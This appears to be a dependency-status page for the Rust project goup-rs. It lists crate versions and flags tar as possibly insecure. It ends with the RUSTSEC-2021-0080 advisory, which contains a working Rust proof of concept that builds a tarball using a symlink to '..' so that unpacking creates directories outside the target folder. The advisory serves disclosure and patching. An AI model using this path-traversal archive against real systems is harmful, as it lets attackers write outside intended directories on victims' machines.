This project might be open to known security vulnerabilities, which can be prevented by tightening the version range of affected dependencies. Find detailed information at the bottom.

Crate goup-rs

Dependencies

(9 total, all up-to-date)

CrateRequiredLatestStatus
 clap^4.54.5.32up to date
 clap_complete^4.54.5.46up to date
 which^7.07.0.2up to date
 prettytable-rs^0.100.10.0up to date
 dialoguer^0.110.11.0up to date
 self_update^0.420.42.0up to date
 shadow-rs^1.01.0.1up to date
 env_logger^0.110.11.7up to date
 chrono^0.4.400.4.40up to date

Build dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 version_check^0.90.9.5up to date
 shadow-rs^1.01.0.1up to date

Crate goup-version

Dependencies

(2 total, all up-to-date)

CrateRequiredLatestStatus
 dirs^6.06.0.0up to date
 semver^1.01.0.26up to date

Crate goup-downloader

Dependencies

(4 total, 1 possibly insecure)

CrateRequiredLatestStatus
 sha2^0.100.10.8up to date
 flate2^1.11.1.0up to date
 tar ⚠️^0.40.4.44maybe insecure
 zip^2.02.2.3up to date

Security Vulnerabilities

tar: Links in archive can create arbitrary directories

RUSTSEC-2021-0080

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as tar 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!